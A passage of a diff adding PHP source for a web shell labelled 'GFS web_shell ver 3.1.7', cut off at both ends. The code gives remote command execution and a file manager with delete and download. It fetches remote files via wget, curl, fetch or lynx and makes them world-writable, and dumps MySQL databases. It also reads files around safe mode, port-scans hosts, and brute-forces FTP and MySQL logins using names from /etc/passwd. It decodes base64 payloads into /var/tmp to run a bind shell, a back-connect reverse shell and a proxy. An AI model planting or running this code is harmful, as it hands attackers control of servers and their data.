alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + if(is_dir($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Listing\" name=\"b_open_dir\"></td>"; + }elseif(is_readable($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Open\" name=\"b_open_file\"></td>"; + } + if(is_writable($file) AND $file!=".."){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Delete\" name=\"b_del\"></td>"; + } + if(is_readable($file) AND !is_dir($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Download\" name=\"b_down\"></td>"; + } + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\"></tr>"; + echo "</form>"; + } + } + echo "</table>"; + closedir($d); +} +function up_file($fil,$tfil, $box) // +{ + global $_FILES; + if ($tfil==""){ + $res="Target is failde!"; + } + if ($box=="PC"){ + if(copy($_FILES["filename"]["tmp_name"],$tfil)){ + chmod($tfil,0777); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + }else { + $res="Error loading file!"; + } + } + if($box=="WGET") { + $load="wget ".$fil." -O ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="FETCH"){ + $load="fetch -o ".$tfil." -p ".$fil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="LYNX"){ + $load="lynx -source ".$fil." > ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="cURL"){ + $load="curl"." ".$fil." -o ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="fopen"){ + $data=implode("", file($fil)); + $fp=fopen($tfil, "wb"); + fputs($fp,$data); + fclose($fp); + chmod($tfil,0777); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + } + return $res; +} +function run_sql($comd, $db,$host, $username, $pass) // SQL +{ + if ($comd!=""){ + if ($db!=""){ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + $res='Could not connect to MySQL'; + } + mysql_select_db ($db); + $row=mysql_query($comd); + while ($r= mysql_fetch_row($row)) { + $res.="&nbsp;".implode($r); + } + $result=$res; + mysql_free_result($row); + mysql_free_result($r); + mysql_close($connect); + }else $result="Select data base!"; + }else $result="No command!"; + return $result; +} +function db_show($host, $username, $pass) // +{ + $res="Exists BD: \n"; + $connect=mysql_connect($host, $username, $pass); + if (!$connect){ + $res="Could not connect to MySQL!\n".mysql_error(); + }else{ + $db_list=mysql_list_dbs($connect); + while ($row = mysql_fetch_object($db_list)) { + $res.=$row->Database . "\n"; + } + mysql_close($connect); + } + return $res; +} +function show_tables($bd, $host, $username, $pass) // +{ + if ($bd!=""){ + $res="Exists tables: \n"; + $connect=mysql_connect($host, $username, $pass); + if (!$connect){ + $res="Could not connect to MySQL\n".mysql_error(); + }else{ + $r=mysql_query("SHOW TABLES FROM $bd"); + $res="Exist tables:\n"; + while ($row=mysql_fetch_row($r)) { + $res.="Table: $row[0]\n"; + $fields=mysql_list_fields($bd, $row[0], $connect); + $columns=mysql_num_fields($fields); + $res.="| "; + for ($i=0; $i<$columns; $i++) { + $res.=mysql_field_name($fields, $i)." | "; + } + $res.="\n____________________________\n"; + } + mysql_free_result($r); + mysql_close($connect); + } + }else + $res="Select data base! "; + return $res; +} +function dump_table($tab, $db,$host, $username, $pass) // +{ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + $result="Could not connect to MySQL!\n".mysql_error(); + }else{ + if (!mysql_select_db($db,$connect)){ + $result="Could not connect to db!\n".mysql_error(); + }else{ + if ($db==""){ + $result="Select data base!"; + }else{ + $res1="# MySQL dump of $tab\r\n"; + $r=mysql_query("SHOW CREATE TABLE `".$tab."`", $connect); + $row=mysql_fetch_row($r); + $res1.=$row[1]."\r\n\r\n"; + $res1.= "# ---------------------------------\r\n\r\n"; + $res2 = ''; + $r=mysql_query("SELECT * FROM `".$tab."`", $connect); + if (mysql_num_rows($r)>0){ + while (($row=mysql_fetch_assoc($r))){ + $keys=implode("`, `", array_keys($row)); + $values=array_values($row); + foreach($values as $k=>$v){ + $values[$k]=addslashes($v); + } + $values=implode("', '", $values); + $res2.="INSERT INTO `".$tab."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $res2.="\r\n# ---------------------------------"; + } + $result=$res1.$res2; + mysql_close($db); + } + } + } + + return $result; +} +function down_tb($tab, $db,$host, $username, $pass){ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + die("Could not connect to MySQL!\n".mysql_error()); + }else{ + if (!mysql_select_db($db,$connect)){ + die("Could not connect to db!\n".mysql_error()); + }else{ + if ($db==""){ + die("Select data base!"); + }else{ + $res1=""; + $r=mysql_query("SELECT * FROM `".$tab."`", $connect); + if (mysql_num_rows($r)>0){ + while (($row=mysql_fetch_assoc($r))){ + foreach($row as $k=>$v){ + $res1.=$v."\t"; + } + $res1.="\n"; + } + } + mysql_close($db); + } + } + } + + return $res1; +} +function safe_mode_fuck($fil,$host, $username, $pass, $dbname)// +{ + $connect=mysql_connect($host,$username,$pass); + if($connect){ + if(mysql_select_db($dbname,$connect)){ + $c="DROP TABLE IF EXISTS temp_gfs_table;"; + mysql_query($c); + $c="CREATE TABLE `temp_gfs_table` ( `file` LONGBLOB NOT NULL );"; + mysql_query($c); + $c="LOAD DATA INFILE \"".$fil."\" INTO TABLE temp_gfs_table;"; + mysql_query($c); + $c="SELECT * FROM temp_gfs_table;"; + $r=mysql_query($c); + while(($row=mysql_fetch_array($r))){ + $res.=htmlspecialchars($row[0]); + } + $c="DROP TABLE IF EXISTS temp_gfs_table;"; + mysql_query($c); + }else + $res= "Can't select database"; + mysql_close($db); + }else + $res="Can't connect to mysql server"; + return $res; +} +function portscan($host) +{ + global $port; + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>Host: </td><td alling=center><b><font color=green> ".$host." </b></font></td></tr>"; + for($i=1; $i<=65535; $i++){ + $fp=fsockopen($host, $i, $errno, $errstr, 4); + if($fp){ + fclose($fp); + if(isset($port[$i])){ + $k=$port[$i]; + }else + $k=getservbyport($i, "TCP"); + if($k==""){$k="N\A";} + echo "<tr><td alling=center>Port: ".$i." </td><td alling=center><b><font color=green>".$k."</b></font></td>"; + echo "</tr>"; + } + } + echo "</table>"; +} +function pwd_conwert() +{ + $res=""; + if(file_exists("/etc/passwd")){ + $input=implode(file("/etc/passwd")); + $input=explode("\n", $input); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." "; + } + $res=explode(" ",$res); + }else{ + $input=implode(ex("cat /etc/passwd")); + $input=explode("\n", $input); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." "; + } + $res=explode(" ",$res); + } + return $res; +} +function brute($type,$type2,$host,$file) +{ + if($type2=="login:login"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, $v)){ + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,$v); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:empty"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, "")){ + echo "<tr><td alling=center> ".$v." : empty </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,""); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : empty </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:number"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + for($j=0; $j<=999; $j++){ + if (ftp_login($conn_id, $v, "$j")){ + echo "<tr><td alling=center> ".$v." : $j </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + for($j=0; $j<=999; $j++){ + $conn_id=mysql_connect($host,$v,"$j"); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : $j </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + } + echo "</table>"; + } + }elseif($type2=="login:nigol"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, strrev($v))){ + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,strrev($v)); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:lib"){ + $input=file($file); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." ".$word[1]." "; + } + $lib=explode(" ",$res); + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + foreach($lib as $kk=>$vv){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, $lib[$kk])){ + echo "<tr><td alling=center> ".$v." : ".$lib[$kk]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + foreach($lib as $kk=>$vv){ + $conn_id=mysql_connect($host,$v,$lib[$kk]); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".$lib[$kk]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + } + echo "</table>"; + } + }elseif($type2=="lib:lib"){ + $input=file($file); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." ".$word[1]." "; + } + $lib=explode(" ",$res); + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $count_lib=count($lib); + for($kk=0; $kk<$count_lib; $kk=$kk+2){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id,$lib[$kk],$lib[$kk+1])){ + echo "<tr><td alling=center> ".$lib[$kk]." : ".$lib[$kk+1]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $count_lib=count($lib); + for($kk=0; $kk<$count_lib; $kk=$kk+2){ + if($lib[$kk]!=""){ + $conn_id=mysql_connect($host,$lib[$kk],$lib[$kk+1]); + if($conn_id){ + echo "<tr><td alling=center> ".$lib[$kk]." : ".$lib[$kk+1]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + echo "</table>"; + } + } +} + +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////////// ////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +echo $HTML; +echo "<font face=Verdana size=2 color=blue><b>"; +echo (rep_char("&nbsp;",15)); +echo "GFS web_shell ver 3.1.7 </b></font>"; +echo "<hr size=3 color=black>"; +sysinfo(); +echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; +echo "<table BORDER=1 align=center>"; +if($r_act=="nav" OR $r_act==NULL){ + echo "<tr bgcolor=#ffff00><td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"nav\"><b>Navigation</b></td>"; +}else + echo "<tr bgcolor=#ffff00><td alling=\"center\"><input type=radio name=\"r_act\" value=\"nav\"><b>Navigation</b></td>"; +if(!$safe_mode){ + if($r_act=="bind"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"bind\"><b>BindPort</b></td>"; + }else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"bind\"><b>BindPort</b></td>"; +} + +if(function_exists(fsockopen)){ + if($r_act=="port"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"port\"><b>PortScan</b></td>"; + }else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"port\"><b>PortScan</b></td>"; +} +if($r_act=="brute"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"brute\"><b>Brute</b></td>"; +}else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"brute\"><b>Brute</b></td>"; +if($r_act=="eval"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"eval\"><b>Eval</b></td>"; +}else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"eval\"><b>Eval</b></td>"; +echo "<td><input type=submit name=\"b_act\" value=\"Change\"></td></tr></table></form>"; +################## ACTION ###################################################### +if($r_act=="nav" OR $r_act==NULL){ + $box=$_POST['box']; + if($_POST['b_save']){ + $res=save_file($_POST['text'],$_POST['fname'],$_POST['dname']); + }elseif($_POST['b_new_file']){ + open_file($_POST['new'],"wb",$_POST['dname']); + }elseif($_POST['b_open_file']){ + open_file($_POST['fname'],"r",$_POST['dname']); + }elseif($_POST['b_mail']){ + $res="Function under construction!!!!!!!!!"; + }elseif($_POST['b_run']){ + chdir($_POST['wdir']); + $dir=getcwd(); + $res=ex($_POST['cmd']); + }elseif($_POST['b_f_file']){ + chdir($_POST['wdir']); + $dir=getcwd(); + $res=ex("whereis ".$_POST['ffile']); + }elseif($_POST['b_upload']){ + $s="Uploading file ".$_POST['lfilename']." use the ".$box; + $res=up_file($_POST['lfilename'],$_POST['tfilename'],$_POST['box']); + }elseif($_POST['b_mydb']){ // + $s="show_exists_db"; + $res=db_show($_POST['host'], $_POST['username'], $_POST['pass']); + }elseif ($_POST['b_runsql']){ // SQL + $s="SQL: ".$sql; + $res=run_sql($_POST['sql'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }elseif($_POST['b_base']){ // + $s="show_exists_tables"; + $res=show_tables($_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }elseif($_POST['b_table']){ // + $s="Dump of ".$_POST['tablename']; + $tablename=$_POST['tablename']; + if ($tablename!=""){ + $res=dump_table($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }else + $res="Select table!"; + }elseif($_POST['b_safe_fuck']){ // + $s="Open file ".$sfilename." with MySQL:"; + $res=safe_mode_fuck($_POST['sfilename'],$_POST['host'], $_POST['username'], $_POST['pass'], $_POST['dbname']); + }elseif($_POST['b_dfilename']){ // + $s="Dump in ".$dfilename." from ".$_POST['tablename'].":"; + $res=run_sql("SELECT * INTO OUTFILE '".addslashes($_POST['dfilename'])."' FROM ".$_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + } + if ($host=="") {$host="localhost";} + if(isset($res)){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo $res; + echo "</textarea></td></tr></table>"; + } +################## EXECUTE ##################################################### + if(!$safe_mode){ + $dir=getcwd(); + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Run command: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"\" name=\"cmd\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Run\" name=\"b_run\"></td></tr>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"$dir\" name=\"wdir\"></td>"; + echo "</tr></table></form>"; + } + echo "<hr size=3 color=black>"; +#################### UPLOAD #################################################### + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Upload files: </b></td></tr><font size=-2>"; + if ($box==""){ $box="fopen";} + echo ("<tr><td alling=\"center\"><b>Use/from: </b><SELECT name=\"box\">"); + echo("<OPTION>$box</option>"); + echo("<OPTION value=\"PC\">PC</option> + <option value=\"WGET\">WGET</option><option value=\"FETCH\"> + FETCH</option><option value=\"LYNX\">LYNX</option> + <option value=\"cURL\">cURL</option> + <option value=\"fopen\">fopen</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b>File: </b><input type=\"text\" name=\"lfilename\" size=50></td></tr>"; + echo "<tr><td alling=\"center\"><b>Target: </b><input type=\"text\" name=\"tfilename\" + size=30 value=\"$tfilename\"></td></tr>"; + echo "<tr><td alling=\"center\"><input type=\"submit\" name=\"b_upload\" value=\"UPLOAD\"></td></tr></table></form></font></font>"; + echo "<hr size=3 color=black>"; +##################### MySQL #################################################### + if(isset($_POST['host'])){ + $host=$_POST['host']; + } + if(isset($_POST['dbname'])){ + $dbname=$_POST['dbname']; + } + if(isset($_POST['tablename'])){ + $tablename=$_POST['tablename']; + } + if(isset($_POST['sql'])){ + $sql=$_POST['sql']; + } + if(isset($_POST['sfilename'])){ + $filename=$_POST['sfilename']; + } + if(isset($_POST['dfilename'])){ + $dfilename=$_POST['dfilename']; + } + if(isset($_POST['username'])){ + $username=$_POST['username']; + } + if(isset($_POST['pass'])){ + $pass=$_POST['pass']; + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>MySQL DB connect: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><b>Host name:</b></td>"; + echo "<td alling=\"center\"><b>DB name:</b></td>"; + echo "<td alling=\"center\"><b>Table name:</b></td>"; + echo "<td alling=\"center\"><b>SQL command: </b></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"host\" value=\"$host\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"dbname\" value=\"$dbname\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"tablename\" value=\"$tablename\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"sql\" value=\"$sql\"></td></tr>"); + echo "<tr><td alling=\"center\"><b>User name:</b></tb>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_base\" value=\"Dump DB\"></td>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_table\" value=\"Dump table\"></td>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_runsql\" value=\"Run SQL\"></tb></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"username\" value=\"$username\"></td><td alling=\"center\"></td><td alling=\"center\"><input type=\"submit\" name=\"b_dtable\" value=\"Download\"></td></tr>"); + echo "<tr><td alling=\"center\"><b>Pass: </b></td>"; + if ($safe_mode){ + echo "<td alling=\"center\"><b>OpenFilename: </b></td><td alling=\"center\"><b>DumpFilename: </b></td></tr>"; + }else + echo "<td alling=\"center\"></td><td alling=\"center\"><b>DumpFilename: </b></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"pass\" value=\"$pass\"></td>"); + if ($safe_mode){ + echo "<td alling=\"center\"><input type=\"text\" name=\"sfilename\" value=\"$filename\"></td><td alling=\"center\"><input type=\"text\" name=\"b_dfilename\" value=\"$dfilename\"></td></tr>"; + }else + echo "<td alling=\"center\"></td><td alling=\"center\"><input type=\"text\" name=\"dfilename\" value=\"$dfilename\"></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"submit\" name=\"b_mydb\" value=\"Show exists DB\"></td>"); + if ($safe_mode){ + echo ("<td alling=\"center\"><input type=\"submit\" name=\"b_safe_fuck\" value=\"SafeMode FileOpen\"></td>"); + }else + echo "<td alling=\"center\"></td>"; + echo("<td alling=\"center\"><input type=\"submit\" name=\"b_dfilename\" value=\"Dump table\"></td>"); + echo "</tr></table></font></font>"; + echo "<hr size=3 color=black>"; +################## NAVIGATION ################################################## + list_dir(); +} +##################### PortScan ################################################# +if($r_act=="port"){ + if($_POST['host']==""){ + $host="localhost"; + }else + $host=$_POST['host']; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Scan host: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"".$host."\" name=\"host\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Scan\" name=\"b_scan\"></td></tr>"; + echo "</tr></table></form>"; + if($_POST['b_scan']){ + portscan($host); + } +} +##################### PortBind ################################################# +if($r_act=="bind"){ + if($_POST['b_bind']){ + if($_POST['box']=="C++"){ + save_file(base64_decode($port_c),"/var/tmp/gfs.c",getcwd()); + ex("gcc /var/tmp/gfs.c"); + unlink("/var/tmp/gfs.c"); + ex("/var/tmp/a.out ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep a.out"); + echo "</textarea></td></tr></table>"; + } + if($_POST['box']=="Perl"){ + save_file(base64_decode($port_pl),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep gfs.pl"); + echo "</textarea></td></tr></table>"; + } + } + if($_POST['b_connect']){ + if($_POST['box']=="C++"){ + save_file(base64_decode($back_connect_c),"/var/tmp/gfs.c",getcwd()); + ex("gcc -o /var/tmp/gfs.c /var/tmp/gfs"); + unlink("/var/tmp/gfs.c"); + ex("/var/tmp/gfs ".$_POST['ip']." ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."; + echo "</textarea></td></tr></table>"; + } + if($_POST['box']=="Perl"){ + save_file(base64_decode($back_connect_pl),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl ".$_POST['ip']." ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."; + echo "</textarea></td></tr></table>"; + } + } + if($_POST['b_proxy']){ + save_file(stripslashes(base64_decode($prx1).$_POST['port'].base64_decode($prx2)),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>Proxy</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep gfs.pl"); + echo "</textarea></td></tr></table>"; + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Bind Port: </b></td></tr><font size=-2>"; + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"C++\">C++</option> + <option value=\"Perl\">Perl</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>BindPort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"26660\" name=\"port\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Bind\" name=\"b_bind\"></td></tr>"; + echo "</tr></table></form>"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Back connect: </b></td></tr><font size=-2>"; + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"C++\">C++</option> + <option value=\"Perl\">Perl</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>RemotePort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"26660\" name=\"port\"></td></tr>"; + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>RemoteIp: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"".$REMOTE_ADDR."\" name=\"ip\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Connect\" name=\"b_connect\"></td></tr>"; + echo "</tr></table></form>"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>HTTPProxy: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>ProxyPort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"46660\" name=\"port\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Create\" 